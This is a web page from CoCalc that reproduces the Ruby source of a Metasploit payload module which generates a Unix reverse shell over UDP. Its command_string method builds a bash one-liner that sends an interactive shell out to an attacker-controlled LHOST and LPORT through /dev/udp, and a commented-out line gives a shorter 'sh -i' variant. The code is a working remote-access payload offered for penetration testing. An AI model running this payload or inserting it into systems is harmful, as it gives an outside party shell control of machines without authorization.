CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/unix/reverse_bash_udp.rb
Views: 11780
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = :dynamic
10
11
include Msf::Payload::Single
12
include Msf::Sessions::CommandShellOptions
13
14
def initialize(info = {})
15
super(merge_info(info,
16
'Name' => 'Unix Command Shell, Reverse UDP (/dev/udp)',
17
'Description' => %q{
18
Creates an interactive shell via bash's builtin /dev/udp.
19
20
This will not work on circa 2009 and older Debian-based Linux
21
distributions (including Ubuntu) because they compile bash
22
without the /dev/udp feature.
23
},
24
'Author' => [
25
'hdm', # Reverse bash TCP
26
'bcoles' # Reverse bash UDP
27
],
28
'License' => MSF_LICENSE,
29
'Platform' => 'unix',
30
'Arch' => ARCH_CMD,
31
'Handler' => Msf::Handler::ReverseUdp,
32
'Session' => Msf::Sessions::CommandShell,
33
'PayloadType' => 'cmd_bash',
34
'RequiredCmd' => 'bash-udp',
35
'Payload' =>
36
{
37
'Offsets' => { },
38
'Payload' => ''
39
}
40
))
41
register_advanced_options(
42
[
43
OptString.new('BashPath', [true, 'The path to the Bash executable', 'bash']),
44
OptString.new('ShellPath', [true, 'The path to the shell to execute', 'sh'])
45
]
46
)
47
end
48
49
#
50
# Constructs the payload
51
#
52
def generate(_opts = {})
53
vprint_good(command_string)
54
return super + command_string
55
end
56
57
#
58
# Returns the command string to use for execution
59
#
60
def command_string
61
fd = rand(200) + 20
62
return "#{datastore['BashPath']} -c '0<&#{fd}-;exec #{fd}<>/dev/udp/#{datastore['LHOST']}/#{datastore['LPORT']};echo>&#{fd};#{datastore['ShellPath']} <&#{fd} >&#{fd} 2>&#{fd}'";
63
64
# no semicolons
65
#return "sh -i >& /dev/udp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1"
66
end
67
end
68
69